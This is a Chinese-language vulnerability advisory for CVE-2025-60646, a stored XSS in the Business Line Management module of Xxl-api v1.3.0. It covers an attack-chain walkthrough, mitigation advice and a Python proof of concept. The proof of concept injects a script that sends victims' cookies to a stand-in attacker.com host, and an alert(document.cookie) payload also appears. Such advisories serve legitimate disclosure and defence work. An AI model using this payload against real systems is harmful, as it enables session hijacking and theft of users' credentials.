IPBUF安全漏洞报告
English
CVE-2025-60646 CVSS 6.1 中危

CVE-2025-60646: Xxl-api Business Line Management模块存储型XSS漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-60646
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Xxl-api v1.3.0

相关标签

存储型XSS跨站脚本攻击Xxl-apiCVE-2025-60646Web安全漏洞Business Line ManagementJavaScript注入

漏洞概述

CVE-2025-60646是Xxl-api v1.3.0版本中Business Line Management模块存在的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞允许未经认证的远程攻击者通过在业务线名称(Name)参数中注入恶意构造的脚本代码,当其他用户访问包含该恶意数据的页面时,注入的JavaScript代码将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于该漏洞属于存储型XSS,恶意payload会被永久存储在服务器数据库中,所有访问受影响页面的用户都会受到攻击影响。漏洞的CVSS评分为6.1,属于中危级别,攻击复杂度低,无需特殊权限,但需要用户交互才能触发。

技术细节

该漏洞存在于Xxl-api v1.3.0的Business Line Management模块中,具体位置在业务线名称(Name)字段。系统在接受用户输入的Name参数时未进行充分的输入验证和输出编码,直接将用户输入存储到数据库。当其他用户通过Web界面查看业务线列表或详情时,系统从数据库读取并展示该Name字段内容,恶意脚本代码被浏览器解析执行。攻击者只需构造形如<script>alert(document.cookie)</script>的payload作为Name参数值即可实现攻击。由于该数据会被持久化存储,所有访问相关功能模块的用户都会触发恶意脚本。防御此类漏洞需要在输入阶段进行严格的输入验证(白名单过滤、HTML转义),在输出阶段对动态内容进行适当的编码处理,并实施Content-Security-Policy头部策略。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的Xxl-api版本为v1.3.0,并确定Business Line Management模块的API端点
STEP 2
步骤2: Payload构造
攻击者构造恶意XSS payload,如<script>alert(document.cookie)</script>,用于窃取用户会话cookie
STEP 3
步骤3: 恶意数据注入
攻击者通过API或Web表单向Business Line Management模块的Name参数发送包含XSS payload的请求,数据被存储到数据库
STEP 4
步骤4: 等待受害者访问
当其他用户(如管理员)访问Business Line Management模块时,受害者的浏览器会从服务器获取包含恶意脚本的页面
STEP 5
步骤5: 脚本执行
受害者浏览器解析HTML时执行注入的JavaScript代码,攻击者可窃取cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-60646 PoC - Stored XSS in Xxl-api Business Line Management # Target: Xxl-api v1.3.0 # Module: Business Line Management TARGET_URL = "http://target:8080/xxl-api" # XSS payload for stealing cookies xss_payload = "<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>" def create_malicious_business_line(): """Create a business line with XSS payload in Name parameter""" endpoint = f"{TARGET_URL}/api/businessLine/add" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } data = { "name": xss_payload, "description": "Malicious business line created by attacker", "status": 1 } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload: {xss_payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-60646 PoC - Stored XSS in Xxl-api") print("=" * 60) create_malicious_business_line()

影响范围

Xxl-api v1.3.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或限制Business Line Management模块的访问权限;2)实施严格的输入验证规则,对Name参数进行HTML标签过滤;3)启用Web应用防火墙(WAF)规则检测和拦截XSS攻击特征;4)对现有业务线数据进行安全扫描,清理已注入的恶意payload;5)增加安全监控和告警机制,及时发现异常请求和攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表